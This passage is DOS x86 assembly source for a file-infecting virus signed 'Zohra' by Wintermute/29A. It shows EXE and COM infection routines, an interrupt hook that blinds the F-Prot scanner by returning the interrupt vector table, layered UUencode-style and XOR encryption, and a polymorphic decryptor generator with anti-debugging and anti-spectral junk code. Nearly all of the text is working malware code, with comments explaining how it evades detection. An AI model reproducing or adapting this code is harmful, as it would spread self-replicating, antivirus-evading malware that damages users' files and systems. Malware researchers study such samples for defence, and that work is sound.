                add     sp,6h
                jmp     fecha
puedes_seguir:
                ret
rout_fecha:
                mov     ax,word ptr es:[di+11h]
                mov     dx,word ptr es:[di+13h]
                mov     es:[di+15h],ax
                mov     es:[di+17h],dx
                mov     cx,10h
                div     cx
                sub     ax,word ptr ds:[header+8]
                mov     byte ptr ds:[1],dl  ; Delta offset, we put it in the
                                            ;instructions

                call    copiarse

                mov     ds:word ptr [cs_ip+2],ax    ; We actualize header
                inc     ax
                mov     ds:word ptr [ss_sp],ax
                mov     ds:word ptr [cs_ip],dx
                mov     ds:word ptr [ss_sp+2],((virus_size+300h-15h)/2)*2

                mov     ax,word ptr es:[di+11h]
                mov     dx,word ptr es:[di+13h]
                mov     cx,200h
                div     cx
                inc     ax
                mov     word ptr [header+2],dx        ; File size, etc
                mov     word ptr [header+4],ax
                mov     word ptr [header+0ah],((virus_size)/16)+10h

                mov     word ptr es:[di+15h],0
                mov     word ptr es:[di+17h],0
                mov     ah,40h      ; Write header
                mov     cx,01ch
                lea     dx,header
                push    cs
                pop     ds
                div     bp

fecha:
                pop     dx cx
                mov     ax,5701h
                or      cl,1fh          ; New file time
                div     bp


cerramos:
                mov     ah,3eh              ; Closing
                div     bp

vamonox:
                pop     ax ds dx            ; Restore int24h
                div     bp

                pop     ax ds dx            ; Restore int0h
                div     bp

                call    pop_all_regs

                jmp     salto_a_int21h

;****************************************************************************
;                               3fh Handler
;----------------------------------------------------------------------------

get_prog_in_env:            ; This routine gets the name of the program that
                            ;is executing in this moment; compares the name
                            ;that was sent in Dx with the two first letters
                            ;of it.

                mov     ah,62h              ; Active Psp
                int     21h
                mov     es,bx
                mov     es,word ptr es:[2ch]    ; environment_segment
                xor     di,di
                mov     al,0
@find_em:       scasb
                jnz     @find_em
                cmp     byte ptr es:[di],0
                jnz     @find_em
                add     di,3
miremos:
                mov     bx,word ptr es:[di] ; Compares dx, set by the
                cmp     dx,bx               ;previous routine, with what
                jnz     sigamos_con_eto     ;we've found as file name

                stc                         ; We left the carry set if it
                ret                         ;found it.

sigamos_con_eto:
                mov     al,5ch              ; Searches '\'
joder_busca:    scasb
                jz      miremos
                cmp     byte ptr es:[di],0h ; Or the end
                jnz     sigamos_con_eto
volvemos_ya:
                clc
                ret

;****************************************************************************
;                         Function 3fh handler
;----------------------------------------------------------------------------

lets_do_stuff:      ; I had a little monkey I sent him to the country

                xchg    ah,al
                call    push_all_regs
                cmp     al,1
                jz      @vete_pues
                cmp     bx,8
                jnz     @vete_pues
                mov     dx,'-F'             ; F-prot ?
                call    get_prog_in_env
                jnc     @vete_pues
                call    pop_all_regs

                pushf
                call    dword ptr cs:[int21h]
                call    push_all_regs
                push    ds dx   ; Breaks F-prot's ability of detecting
                pop     di es   ;viruses: when it reads data from a file,
                xor     si,si   ;the virus sends the interrupt vector table,
                mov     ds,si   ;so F-prot --doesn't detect any virus--
                rep     movsb

                call    pop_all_regs
                retf    2

@vete_pues:
                call    pop_all_regs
                jmp     salto_a_int21h

;****************************************************************************
;                              Com infection
;----------------------------------------------------------------------------
; 'Pon la mano as¡ como si fueras a pedir...'

nosvamosya:
                jmp     cerramos

podriaseruncom:

                cmp     ds:[si],'MO'                ; Is it a Com file ?
                jnz     nosvamosya

                mov     ax,3d02h                    ; Open r/w
                div     bp
                jc      nosvamosya

sigamosconeto:
                xchg    ax,bx
                push    bx
                call    @get_da_sft                 ; We get the file sft
                pop     bx

                push    cs
                pop     ds

                cmp     word ptr es:[di+11h],01f40h ; Too short ?
                jb      nosvamosya
                cmp     word ptr es:[di+11h],0ffffh-virus_size-300h
                ja      nosvamosya              ; Too large ?


                mov     ax,word ptr es:[di+0dh]
                and     al,1eh                      ; Infected ?
                xor     al,1eh
                jz      nosvamosya
no_rulado_aun:
                push    word ptr es:[di+0dh]        ; Push time/date
                push    word ptr es:[di+0fh]
                call    @comp_tiempo

                mov     ah,3fh
                mov     cx,3                        ; Read first three bytes
                lea     dx,header+201h+virus_size
                div     bp

                mov     al,byte ptr ds:[header+201h+virus_size]
                add     al,byte ptr ds:[header+202h+virus_size] ;
                cmp     al,'M'+'Z'                  ; Exe header ?
                jz      vamos_a_cerrar

                mov     ax,word ptr es:[di+11h]     ; File length
                push    ax
                sub     ax,3
                mov     word ptr[salto_com+virus_size+202h],ax   ; We prepare
                mov     word ptr es:[di+15h],0    ;first bytes
                lea     dx,salto_com+virus_size+201h
                mov     cx,3                        ; And write them
                mov     ah,40h
                div     bp


                pop     ax
                mov     word ptr es:[di+15h],ax
                add     ax,300h
                mov     word ptr ds:[1],ax      ; For the poly engine


                call    copiarse                ; Jump to copy it
                mov     byte ptr ds:[2],02h

vamos_a_cerrar:

                jmp     fecha                   ; Go to restore date, close.


thetext:        db 'Zohra will live forever ! Necromancy with her...',0
nombre:         db '[Zohra] virus by Wintermute/29A, dedicated to the best '
                db 'Necromancer of the Forgotten Realms,... I assure you '
                db 'will live forever, my love... ;)',0

header:         db 0ah dup (?)
minalloc:       db 0,0
maxalloc:       db 0,0
SS_SP:          dw 0,offset virus_end+100h
Checksum:       dw 0
CS_IP:          dw offset host,0,0,0,0,0
salto_com:      db 0e9h,0,0
flag1:          db 0

encrypt_end     label byte
buffer_uuencode equ ((encriptado/7)-1)

buffer:         db buffer_uuencode+1 dup (?)

;                *********** ENCRYPTION ***********

copiarse:
                call    push_all_regs
                mov     bp,virus_size+201h ; second copy
                push    cs
                pop     ds

                call    rut_encriptado      ; UUencode encryptor
                call    poly_engine         ; We make decryptor

                push    dx
                mov     ah,40h
                mov     dx,virus_size+1
                mov     cx,virus_size+202h
                pushf
                call    dword ptr cs:[int21h]   ; Copy the virus
                pop     dx

                call    encryptit           ; Xor decryption
                call    rut_desencriptado   ; UUencode decryption
                call    pop_all_regs

                ret

;  These two routines, rut_encriptado and rut_desencriptado are the first
; encryption of the virus; it's same as UUencode programs use to code ascii
; message. I'll explain:
;
;  The virus takes one byte of the zone that's going to be encrypted: saves
; in buffer_uuencode it's most significative bit and changes this bit in the
; encrypted zone to 1 ( with an or 080h ). It does this with seven of them,
; making a rol to the byte which contains the original bits; after that, it
; begins with another seven bytes crunch. So that, engines like Tbscan can
; decrypt the Xor routine, but not this one.
;
;  To decrypt, just the opposite; it takes each byte of the buffer ( each
; has seven high bits, beeing it's own most significative bit a 1, to
; keep on the UUencode chain ), and it replaces the original ones in the
; virus.

rut_encriptado:
                push    bx              ; File_handle !
                mov     cx,buffer_uuencode
                lea     si,encrypt_start+bp ; 7 bytes

bloque_7:
                push    cx
                xchg    bx,cx
                add     bx,bp

                lea     di,[buffer+bx]      ; Block number plus buffer
                mov     cx,7                ;address
                mov     dx,1

sigg:
                not     cs:byte ptr[si]     ; Not the bytes
                mov     al,byte ptr[si]
                or      byte ptr[si],080h
                and     al,080h
                rol     al,1
                shl     dx,1
                add     dl,al
                inc     si
                loop    sigg
                mov     byte ptr [di],dl

                pop     cx
                loop    bloque_7

                pop     bx
                ret

; DESENCRIPTACION

rut_desencriptado:

                push    bx          ; Save handle
                mov     cx,buffer_uuencode
                lea     si,cs:[encrypt_start+bp]

bloques_de_7:

                push    cx
                xchg    bx,cx
                mov     cx,7
                add     bx,bp
                lea     di,[buffer+bx]

                mov     al,byte ptr[di]
                rol     al,2

un_bloque:
                push    ax
                and     al,1
                ror     al,1
                or      al,07fh
                and     byte ptr [si],al   ; If Al is 0, it doesn't touch it
                not     cs:byte ptr [si]
                inc     si
                pop     ax
                rol     al,1
                loop    un_bloque
                pop     cx
                loop    bloques_de_7
                pop     bx
                ret

;***************
;***************

offset_second   equ     virus_size+201h

poly_engine:

                add     dx,word ptr [encryptvalue]+offset_second
                mov     word ptr [encryptvalue]+offset_second,dx

                push    offset go_here
encryptit:
                mov     di,offset_second
                mov     cx,virus_size/2

enc_loop:
                xor     [di],dx
                inc     di
                inc     di
                loop    enc_loop
                ret

; ***************************************************************************
;                    THE NECROMANTIC MUTATION ENGINE ( NME )
; ***************************************************************************
;              The ants are in the sugar, the muscles atrophied

  ; Set the decryptor variables ( loop pointer, remaining instructions and
  ;current instruction )

go_here:

                mov     word ptr [bytes_referencia],0h
                mov     word ptr [restantes_poly],200h   ; n.instr decryptor
                mov     byte ptr [numero_instruccion],6h ; n.instr funcionales


  ; This first part of the poly engine fills the blancks of the six blocks
  ;( 5 bytes each ) in which the decryptor instructions are divided on with
  ;random instructions.

                push    cs cs
                pop     ds es

                mov     di,3h
                mov     cx,3
two_times:      call    aleatorio
                and     ah,1
                jz      two_of_one
                call    inst_2
                jmp     next_inst_gen
two_of_one:     call    inst_1
                inc     di
                call    inst_1
next_inst_gen:  cmp     di,0eh
                jnz     @di0dh
                mov     di,017h
                jmp     @loopt
@di0dh:         mov     di,0dh
@loopt:         loop    two_times


                mov     di,011h
                mov     cx,2
two_times_otavez:
                call    aleatorio
                and     ah,1
                jz      unod1y1d2
                and     al,1
                jz      tresd1
                call    inst_3
                jmp     next_one_otave
tresd1:
                call    inst_1
                inc     di
                call    inst_1
                inc     di
                call    inst_1
                jmp     next_one_otave
unod1y1d2:      and     al,1
                jz      unod2y1d1
                call    inst_1
                inc     di
                call    inst_2
                jmp     next_one_otave
unod2y1d1:
                call    inst_2
                inc     di
                call    inst_1
next_one_otave:
                mov     di,01dh         ; The last
                call    inst_1

                lea     di,instrucciones
                xor     si,si
                mov     cx,instrsize
                rep     movsb

  ; This part exchanges 50% times Si and Di registers, which are used in
  ;the decryptor instructions

                call    aleatorio
                and     ah,1
                jz      sin_cambios_sidi
                mov     byte ptr [instrucciones+7h],0beh
                mov     byte ptr [instrucciones+10h],0f5h
                mov     word ptr [instrucciones+15h],03c31h ; ¨ 313c ?
                mov     word ptr [instrucciones+19h],04646h


sin_cambios_sidi:

  ; Depending on a random value, cx is obtained by the normal way ( mov cx, )
  ; or with a mov dx, register, mov cx,dx

                call    aleatorio
                and     ah,1
                jz      cx_acabado
                cbw
                and     ah,1
                jz      siguiente_abajo
                mov     byte ptr [instrucciones+0ah],0bbh
                mov     word ptr [instrucciones+0dh],0d989h
                jmp     cx_acabado
siguiente_abajo:
                and     al,1
                jz      cx_con_dx
                mov     byte ptr [instrucciones+0ah],0b8h
                mov     word ptr [instrucciones+0dh],0c189h
                jmp     cx_acabado
cx_con_dx:
                mov     byte ptr [instrucciones+0ah],0bah
                mov     word ptr [instrucciones+0dh],0d189h
cx_acabado:

  ; To finish preparing the decrypting routine, we push the instructions that
  ;modify si, di and cx in the decryptor, and pop them randomly.

                push    dx
                mov     byte ptr [variable_inst],00000111b
                mov     cx,015d                 ; Copy the 15 bytes of the
                lea     si,instrucciones+5      ;instructions to the uuencode
                lea     di,buffer               ;buffer ( unused )
                push    di
                rep     movsb
                pop     si

ver_si_esta_hecho:
                mov     al,byte ptr [variable_inst]
                mov     dl,al                   ; Then, restore them in a
                or      al,al                   ;random order
                jz      acabado_pop_inst
                call    aleatorio
                and     ah,1
                jz      popfirst
                and     al,1
                jz      popsecond
                and     dl,100b                 ; First instruction ( five
                jz      ver_si_esta_hecho       ;bytes )
                and     byte ptr [variable_inst],11111011b
                lea     di,instrucciones+0fh
                jmp     popfivebytes

popfirst:
                and     dl,1b                   ; Second one
                jz      ver_si_esta_hecho
                and     byte ptr[variable_inst],011111110b
                lea     di,instrucciones+0ah
                jmp     popfivebytes

popsecond:
                and     dl,10b                  ; Third
                jz      ver_si_esta_hecho
                and     byte ptr[variable_inst],011111101b
                lea     di,instrucciones+5h
popfivebytes:
                mov     cx,5d                   ; Replace
                rep     movsb
                jmp     ver_si_esta_hecho
acabado_pop_inst:
                pop     dx


  ; The modification of the instructions of the decryptor finishes here with
  ;all changes made: the originals are kept at the beggining of the virus in
  ;memory. The posible 'final loop' exchange is made when writing the
  ;decryptor

  ; Here begins the main zone of the code generator; where it's decided
  ;what generator to use and random instructions are copied at the
  ;decryptor.


                mov     di,virus_size+1
centro_poly:
                mov     ax,word ptr [restantes_poly]    ; Remaining
                mov     cx,ax                           ;instructions
                and     cx,cx
                jnz     sigamos_decriptor
                jmp     acabamos_decryptor      ; Checks
sigamos_decriptor:
                cmp     cx,@getmcb-ant_debug
                jae     @cont_decrr
                cmp     byte ptr [numero_instruccion],1
                jz      @@call_decryptgen
@cont_decrr:
                dec     cx
                jz      @@call_inst_1
                dec     cx
                jz      @@call_inst_2
                dec     cx
                jz      @@call_inst_3

                mov     cx,55h      ; Do we need to put one of the decryptor
                div     cl          ;instructions ?
                inc     al
                cmp     byte ptr[numero_instruccion],al
                ja      @@call_decryptgen

                cmp     byte ptr[numero_instruccion],1
                jnz     @continuemos        ; To avoid the loop from going
                mov     ax,di               ;out of range
                sub     ax,word ptr [loop_site]
                cmp     ax,70h
                jae     @@call_decryptgen
@continuemos:
                call    aleatorio
                and     ah,1
                jz      @@trestipos
                and     al,1
                jz      @@call_inst_4
@@call_inst_1:  call    inst_1
                dec     word ptr [restantes_poly]
                inc     di
                jmp     centro_poly
@@call_inst_4:  call    inst_4
                add     di,4
                sub     word ptr [restantes_poly],4
                jmp     centro_poly

@@trestipos:    cbw
                and     ah,1
                jz      @@inst_2odec
                and     al,11b
                jz      @@call_sub
@@call_inst_3:  call    inst_3
                add     di,3
                sub     word ptr[restantes_poly],3
                jmp     centro_poly
@@inst_2odec:   and     al,111b     ; Low probability
                jnz     @@call_inst_2
@@call_decryptgen:
                call    gen_instruction
                jmp     centro_poly
@@call_inst_2:  call    inst_2
                inc     di
                sub     word ptr[restantes_poly],2
@fix1:          jmp     centro_poly
@@call_sub:     cmp     word ptr[restantes_poly],@getmcb-ant_debug
                jb      @fix1
                call    inst_5
                add     di,si
                sub     word ptr[restantes_poly],si  ; Long non fixed size
                jmp     centro_poly             ;routine


acabamos_decryptor:
                ret

instrsize       equ     instr_end-instr_start

instr_start     label byte

  ; Decryptor instructions list; divided into five-bytes blocks.

instrucciones:

                mov     bp,0200h
                db      90h,90h         ; variable ( junk gen )
        ;5
                mov     si,cs:word ptr [encryptvalue+bp]
        ;A
                mov     cx,virus_size/2
                db      90h,90h
        ;F
                mov     di,bp
                db      90h,90h,90h

loop_dec:    ;14h
                xor     word ptr cs:[di],si
                db      90h,90h
        ;19h
                inc     di
                inc     di
                loop    loop_dec
                db      90h  ;1dh
;               db      90h,90h,90h

instr_end       label byte

;*******************************************
;               Decryptor values
;--------------------

Restantes_poly:     dw 200h         ; Remaining instructions counter
Numero_instruccion: db 6            ; Instruction number
num_aleat:          dw 1250h        ; Aleatory number counter
variable_inst:      db 7h           ; 0111b
loop_site:          dw 0h           ; Looping allocation Offset
bytes_referencia:   dw 0h           ; Reference for instructions


  ; This returns a random number in Ax after making some operations.

aleatorio:
                mov     ax,word ptr[num_aleat]
                call    aleat2
aleat2:         ror     ax,5          ; The seed number is stablished in each
                add     ax,1531h      ;infection by the date, and modified
                push    cx dx ax      ;by the minutes ( but in Al, the last
                mov     ah,2ch        ;used, to contribute to the slow poly )
                int     21h           ;and hour.
                pop     ax
                add     ah,ch
                pop     dx cx
                rol     ax,1
                neg     ax
                sub     ax,2311h
                ror     ax,3
                not     ax
                mov     word ptr[num_aleat],ax
                ret

  ; Instructions generators: the required instructions are generated and
  ;copied in es:di, which points to the decryptor in memory

  ; Main generator: Copies a decryptor instruction in es:di, with special
  ;care for the final loop

gen_instruction:
                mov     al,byte ptr [numero_instruccion]
                and     al,al
                jz      @vasmosnos
                dec     al
                jz      @preparar_loop
                dec     al
                jz      @guardar_paraloop
@gen_ya:
                dec     byte ptr [numero_instruccion]
                lea     si,instrucciones
                add     si,word ptr [bytes_referencia]
                add     word ptr [bytes_referencia],5h

                mov     cx,5
                rep     movsb
                sub     word ptr[restantes_poly],5h


@vasmosnos:     ret
@guardar_paraloop:
                mov     word ptr [loop_site],di
                jmp     @gen_ya

@preparar_loop:
                mov     ax,0fch
                mov     si,di
                mov     cx,word ptr [loop_site]
                sub     si,cx
                sub     ax,si
                mov     cx,word ptr[num_aleat]
                and     cl,1
                jz      @make_a_jnz
                mov     byte ptr [instrucciones+01ch],al
                jmp     @gen_ya
@make_a_jnz:
                mov     word ptr [instrucciones+01bh],7549h
                dec     ax
                mov     byte ptr [instrucciones+01dh],al
                jmp     @gen_ya

  ; Generator ----> One byte length instructions generator

inst_1:
                call    aleatorio
                and     al,3h
                jnz     @cont_a1
                mov     byte ptr es:[di],90h
                ret
@cont_a1:       and     ah,1
                jz      @cont_a2
                call    aleatorio
                and     ah,1h
                jz      @cont_a2_2
                and     al,1h
                jz      @cont_a2_1_1
                call    aleatorio
                and     al,1h
                jz      @cont_a2_2_1
                mov     byte ptr es:[di],42h     ; inc dx
                ret
@cont_a2_2_1:   mov     byte ptr es:[di],43h     ; inc bx
                ret
@cont_a2_1_1:   mov     byte ptr es:[di],40h     ; inc ax
                ret
@cont_a2_2:     call    aleatorio
                and     al,1h
                jnz     @cont_a2_2_2
                mov     byte ptr es:[di],48h     ; dec ax
                ret
@cont_a2_2_2:   and     ah,1h
                jz      @cont_a2_2_2_2
                mov     byte ptr es:[di],4bh     ; dec bx
                ret
@cont_a2_2_2_2: and     al,1h
                mov     byte ptr es:[di],4ah     ; dec dx
                ret
@cont_a2:       call    aleatorio
                and     al,3h
                jz      @cont_a2_11
                and     ah,3h
                jz      @cont_a2_12
                call    aleatorio
                and     al,3h
                jz      @cont_a2_2_11
                and     ah,3h
                jz      @cont_a2_2_12
                call    aleatorio
                and     al,1
                jz      @cont_a2_2_13
                mov     byte ptr es:[di],0cch    ; int 3h
                ret
@cont_a2_2_11:  mov     byte ptr es:[di],9fh     ; lahf
                ret
@cont_a2_2_12:  mov     byte ptr es:[di],99h     ; cwd
                ret
@cont_a2_2_13:  mov     byte ptr es:[di],98h     ; cbw
                ret
@cont_a2_11:    mov     byte ptr es:[di],0F9h    ; stc
                ret
@cont_a2_12:    mov     byte ptr es:[di],0F8h    ; clc
                ret

  ; Generator ----> Two bytes length instructions

inst_2:
                call    aleatorio
                and     ah,1h
                jz      @cont_sub
                cbw
                and     ah,1h
                jz      sigunvm
                jmp     @cont_xor
sigunvm:
                jmp     @cont_mul
@cont_sub:
                mov     byte ptr es:[di],2bh
                inc     di
                cbw
                and     al,1
                jz      @cont_bsub_ax
                and     ah,1
                jz      @cont_bsub_dx
                call    aleatorio
                and     ah,1
                jz      @cont_bsub_bx_dxdisi
                and     al,1
                jz      @cont_bsub_bx_cx
                mov     byte ptr es:[di],0d8h  ; sub bx,ax
                ret
@cont_bsub_bx_cx:
                mov     byte ptr es:[di],0d9h  ; sub bx,cx
                ret
@cont_bsub_bx_dxdisi:
                cbw
                and     ah,1
                jz      @cont_bsub_bx_dx
                and     al,1
                jz      @cont_bsub_bx_di
                mov     byte ptr es:[di],0deh   ; sub bx,si
                ret
@cont_bsub_bx_di:
                mov     byte ptr es:[di],0dfh   ; sub bx,di
                ret
@cont_bsub_bx_dx:
                mov     byte ptr es:[di],0dah  ; sub bx,dx
                ret
@cont_bsub_ax:
                call    aleatorio
                and     ah,1
                jz      @cont_bsub_ax_dxdisi
                and     al,1
                jz      @cont_bsub_ax_cx
                mov     byte ptr es:[di],0c3h  ; sub ax,bx
                ret
@cont_bsub_ax_cx:
                mov     byte ptr es:[di],0c1h  ; sub ax,cx
                ret
@cont_bsub_ax_dxdisi:
                cbw
                and     ah,1
                jz      @cont_bsub_ax_dx
                and     al,1
                jz      @cont_bsub_ax_di
                mov     byte ptr es:[di],0c6h  ; sub ax,si
                ret
@cont_bsub_ax_di:
                mov     byte ptr es:[di],0c7h  ; sub ax,di
                ret
@cont_bsub_ax_dx:
                mov     byte ptr es:[di],0c2h  ; sub ax,dx
                ret
@cont_bsub_dx:
                call    aleatorio
                and     ah,1
                jz      @cont_bsub_dx_sidicx
                and     al,1
                jz      @cont_bsub_dx_bx
                mov     byte ptr es:[di],0d0h     ; sub dx,ax
                ret
@cont_bsub_dx_bx:
                mov     byte ptr es:[di],0d3h     ; sub dx,bx
                ret
@cont_bsub_dx_sidicx:
                cbw
                and     ah,1
                jz      @cont_bsub_dx_cx
                and     al,1
                jz      @cont_bsub_dx_di
                mov     byte ptr es:[di],0d6h     ; sub dx,si
                ret
@cont_bsub_dx_di:
                mov     byte ptr es:[di],0d7h     ; sub dx,di
                ret
@cont_bsub_dx_cx:
                mov     byte ptr es:[di],0d1h     ; sub dx,cx
                ret

@cont_xor:
                mov     byte ptr es:[di],033h
                inc     di
                call    aleatorio
                and     ah,1
                jz      @cont_xor_4last
                cbw
                and     ah,1
                jz      @cont_xor_34
                and     al,1
                jz      @cont_xor_2
                mov     byte ptr es:[di],0c0h     ; xor ax,ax
                ret
@cont_xor_2:
                mov     byte ptr es:[di],0c3h     ; xor ax,bx
                ret
@cont_xor_34:
                and     al,1
                jz      @cont_xor_4
                mov     byte ptr es:[di],0c2h     ; xor ax,dx
                ret
@cont_xor_4:
                mov     byte ptr es:[di],0dbh     ; xor bx,bx
                ret
@cont_xor_4last:
                cbw
                and     ah,1
                jz      @cont_xor_78
                and     al,1
                jz      @cont_xor_6
                mov     byte ptr es:[di],0d8h     ; xor bx,ax
                ret
@cont_xor_6:
                mov     byte ptr es:[di],0dah     ; xor bx,dx
                ret
@cont_xor_78:
                and     al,1
                jz      @cont_xor_8
                mov     byte ptr es:[di],0d2h     ; xor dx,dx
                ret
@cont_xor_8:
                mov     byte ptr es:[di],0d0h     ; xor dx,ax
                ret

@cont_mul:
                mov     byte ptr es:[di],0f7h
                inc     di
                call    aleatorio

                and     ah,1
                jz      @cont_divmul_34
                and     al,1
                jz      @cont_divmul_2
                mov     byte ptr es:[di],0e3h       ; mul bx
                ret
@cont_divmul_2:
                mov     byte ptr es:[di],0e1h       ; mul cx
                ret
@cont_divmul_34:
                and     al,1
                jz      @cont_divmul_4
                mov     byte ptr es:[di],0e6h       ; mul si
                ret
@cont_divmul_4:
                mov     byte ptr es:[di],0e7h       ; mul di
                ret

  ; Generator ----> Three bytes long instructions

inst_3:
                call    aleatorio
                mov     si,ax
                inc     si              ; We don't want a 0ffffh
                jz      inst_3
                dec     si
                and     ah,1
                jz      @add_or_sub_ax
                and     al,1
                jz      @mov_dx_inm
                mov     byte ptr es:[di],0bbh   ; mov bx,reg
                mov     word ptr es:[di+1],si
                ret
@mov_dx_inm:    mov     byte ptr es:[di],0bah   ; mov dx,reg
                mov     word ptr es:[di+1],si
                ret
@add_or_sub_ax: and     al,1
                jz      @mov_mem_ax
                mov     byte ptr es:[di],05h    ; add ax,reg
                mov     word ptr es:[di+1],si
                ret
@mov_mem_ax:    mov     byte ptr es:[di],0a1h   ; mov ax,mem
                mov     word ptr es:[di+1],si
                ret

  ; Generator ----> Four bytes instructions

inst_4:         call    aleatorio
                mov     si,ax
                inc     si
                jz      inst_4
                dec     si
                and     ah,1
                jz      @q_seg_parte
                cbw
                and     ah,1
                jz      @q_movdxobx
                and     al,1
                jz      @q_subbxfuck
                mov     word ptr es:[di],019b4h     ; Get drive function
                mov     word ptr es:[di+2],021cdh
                ret
@q_subbxfuck:   mov     word ptr es:[di],0eb81h
                mov     word ptr es:[di+2],si
                ret
@q_movdxobx:    and     al,1
                jz      @q_movdx_mem
                mov     word ptr es:[di],01e8bh
                mov     word ptr es:[di+2],si
                ret
@q_movdx_mem:   mov     word ptr es:[di],0168bh
                mov     word ptr es:[di+2],si
                ret
@q_seg_parte:   cbw
                and     ah,1
                jz      @q_seg_sub
                mov     word ptr es:[di],0c281h
                mov     word ptr es:[di+2],si
                and     al,1
                jz      @nosvamos_4
                inc     byte ptr es:[di+1]
@nosvamos_4:    ret
@q_seg_sub:     mov     word ptr es:[di],0ea81h
                mov     word ptr es:[di+2],si
                and     al,1
                jz      @nosvamos_41
                inc     word ptr es:[di+1]
@nosvamos_41:   ret

 ; Generator ----> More than 4 bytes routines

inst_5:         call    aleatorio               ; Anti-spectral routine,
                and     ah,1                    ;generates a random value
                jz      @c_seg_parte            ;after a cmp ax,ax/jz xxx
                and     al,1                    ;that will never be executed:
                jz      @c_seg_prim             ;'spectral' is a way of
                mov     word ptr es:[di],0c033h ;finding polymorphic viruses
                mov     word ptr es:[di+2],0274h;that checks for instructions
                call    aleatorio               ;that aren't in the poly
                mov     word ptr es:[di+4],ax   ;engine; if the instructions
                mov     si,06h                  ;are all of a fixed range,
                ret                             ;the spectral identifies the
                                                ;poly engine.

@c_seg_prim:
                mov     word ptr es:[di],0f7fah     ; Antidebugging routine
                mov     word ptr es:[di+2],0f7dch   ;( cli, neg sp, neg sp,
                mov     word ptr es:[di+4],0fbdch   ; sti )
                mov     si,06h
                ret

@c_seg_parte:   and     al,1
                jz      @c_seg_seg              ; Anti-spectral
                mov     word ptr es:[di],0ffb8h     ; mov ax,0ffffh
                mov     word ptr es:[di+2],040ffh   ; inc ax
                mov     word ptr es:[di+4],0274h   ; jz  seguimos
                call    aleatorio                   ; ( 2 crap bytes )
                mov     word ptr es:[di+6],ax
                mov     si,08h
                ret

@c_seg_seg:
                lea     si,ant_debug            ; Antidebugging, the routine
                mov     cx,@getmcb-ant_debug    ;placed near the beggining
                push    cx                      ;of Zohra
                rep     movsb
                pop     si
                sub     di,si
                ret

Int24h:         mov     al,3
                iret

Salto_a_int21h:
                db      0eah
int21h:         dw      0,0

rutinadiv:                      ; The virus jumps here when a div bp is used
                pushf           ;at the infection zone
                call    dword ptr cs:[int21h]
                mov     bp,sp
                add     word ptr ss:[bp],2
                xor     bp,bp
                iret

virus_end   label byte

encryptvalue:   dw  0           ; Valor de encriptaci¢n


  ; This is to start deencrypting only from the first infection: this part
  ;doesn't get copied with the virus

fuera_desencriptado:

      xor   bp,bp
      mov   word ptr cs:[encrypt_start-2+bp],rut_desencriptado-encrypt_start
      ret

CODIGO ENDS
 END Comienzo

;    This Is Your World In Which We Grow, And We Will Grow To Hate You
